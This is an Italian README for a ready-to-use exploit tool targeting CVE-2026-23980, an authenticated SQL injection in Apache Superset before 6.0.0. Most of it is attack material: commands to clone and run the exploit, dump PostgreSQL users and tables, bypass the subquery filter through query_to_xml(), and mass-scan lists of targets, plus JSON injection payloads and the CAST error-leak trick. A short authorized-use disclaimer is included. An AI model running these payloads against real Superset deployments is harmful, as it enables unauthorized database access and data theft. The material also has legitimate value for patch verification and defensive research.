
Exploit per CVE-2026-23980 — SQL injection basata su errori autenticata in Apache Superset < 6.0.0 tramite bypass di sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression va direttamente alla query. nessuna parametrizzazione. nessuna speranza.
Apache Superset < 6.0.0 consente agli utenti autenticati con accesso in lettura di eseguire iniezione SQL basata su errori tramite i parametri sqlExpression o where nell'endpoint /api/v1/chart/data.
Il filtro validate_adhoc_subquery() viene bypassato utilizzando le funzioni XML di PostgreSQL (query_to_xml, ecc.) che eseguono SQL come argomenti di funzione, invisibili al tokenizer di sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> colonna adhoc sqlExpression / extras.where iniettati
-> validate_adhoc_subquery() BYPASSATO tramite query_to_xml()
-> SQL grezzo raggiunge PostgreSQL
-> CAST((...) AS INT) l'errore fa trapelare i dati nella risposta
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Versione del database
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Utenti del database
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Elenco tabelle
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Utente corrente
python3 exploit.py ... --sql "SELECT current_user"
Quando validate_adhoc_subquery() blocca la tua query (rileva FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Questo avvolge la query in query_to_xml() che nasconde la clausola FROM al tokenizer.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (predefinito) - iniettato nella definizione di una colonna:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - iniettato nella clausola extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
L'exploit utilizza il casting di tipo di PostgreSQL per far trapelare dati:
CAST((SELECT version()) AS INT)
PostgreSQL non può convertire una stringa in intero, quindi genera:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
Il valore trapelato viene estratto dal messaggio di errore nella risposta API.
La funzione has_table_query() di Superset cerca FROM/JOIN per rilevare sottoquery. La funzione query_to_xml() di PostgreSQL esegue SQL ma lo nasconde come argomento di funzione:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
Il tokenizer vede una chiamata di funzione, non una clausola FROM, bypassando il filtro.
| Versione |
|---|
Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Utilizzalo solo contro sistemi per cui hai esplicito permesso di test. L'autore non è responsabile per un uso improprio.
| Stato |
|---|
| < 4.0.2 | Vulnerabile (nessuna denylist per funzioni XML) |
| 4.0.2 | Fix parziale (CVE-2024-39887 - aggiunte alcune funzioni XML alla denylist) |
| 4.1.0 | Denylist estesa (più funzioni XML) |
| 4.1.2 | Bypass della sicurezza a livello di riga corretto (CVE-2025-48912) |
| 6.0.0 | Fix completo per CVE-2026-23980 |